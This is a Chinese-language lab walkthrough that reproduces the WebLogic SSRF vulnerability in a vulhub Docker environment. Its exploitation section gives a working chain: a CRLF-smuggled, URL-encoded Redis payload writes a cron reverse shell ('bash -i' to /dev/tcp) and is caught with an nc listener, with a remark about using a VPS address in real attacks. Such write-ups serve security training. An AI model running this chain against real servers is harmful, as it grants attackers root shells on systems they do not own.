0x01 Docker+vulhub环境搭建:
一、利用Ubuntu16.04,安装docker,要以root身份执行:
sudo su #切换到root用户,输入密码即可sudo apt install docker.io #安装docker
安装完成过后输入命令查看版本
docker --version
2、安装python-pip:
sudo apt-get install python-pip #安装pippip -V #查看pip版本
3、安装docker-compose,并用验证安装结果
pip install docker-compose #安装docker-composedocker-compose -v #查看版本
二、安装vulhub:
git clone https://github.com/vulhub/vulhub.git
0x02 复现weblogic ssrf漏洞:
漏洞影响版本:weblogic 10.0.2 -- 10.3.6
1、找到漏洞目录
cd vulhub/ #进入vulhub文件夹ls #列出文件
cd weblogic/ #进入我们要复现的漏洞文件夹ls #列出文件cd ssrf/ #进入我们要复现的ssrf漏洞文件夹
2、利用docker部署ssrf漏洞环境
docker-compose up -d //启动docker容器,-d 是后台运行
耐心等待即可......
3、部署完成后,访问漏洞页面即可
http://192.168.1.3:7001/uddiexplorer/
0x03 漏洞验证
1、点击Search Pubilc Regitries,随便输入,然后用burp抓包,发现operator参数的值是一个url,进行进一步验证
2、把operator参数的值改成http://127.0.0.1:7001,注意要将部分字符进行url编码,返回了如下内容
请求一个不存在的端口http://127.0.0.1:6001,很明显两次返回结果不同,端口不存在时会返回could not connect over HTTP to server:,判断存在ssrf漏洞
0x04 漏洞利用getshell
1、利用redis可以写入以下内容反弹shell,redis默认端口是6379
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.1.3/6666 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave
而某些服务(如redis)是通过换行符(%0a%0d)来分隔每条命令,也就说我们可以通过SSRF攻击内网中的redis服务器
普及一下内网ip地址的知识:
局域网可使用的网段(私网地址段)有三大段:
10.0.0.0~10.255.255.255(A类)
172.16.0.0~172.31.255.255(B类)
192.168.0.0~192.168.255.255(C类)
2、可以利用burp遍历,最终发现172.18.0.2:6379是开放的,构造以下payload,其实就是将上面的4行进行部分url编码并利用%0A%0D进行换行分隔每一条命令,实战中反弹shell的地址为我们的vps公网ip
http://172.18.0.2:6379/info%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.3%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A
3、nc开启监听本地6666端口,即可接收到反弹shell,因为redis一般权限比较大,所以直接返回了root权限的shell
nc -lvp 6666
0x05 漏洞总结
几个需要注意的点:
1、对命令进行url编码时,需要对部分进行编码,而不要将全部url编码
2、注意观察返回内容的不同,判断漏洞是否存在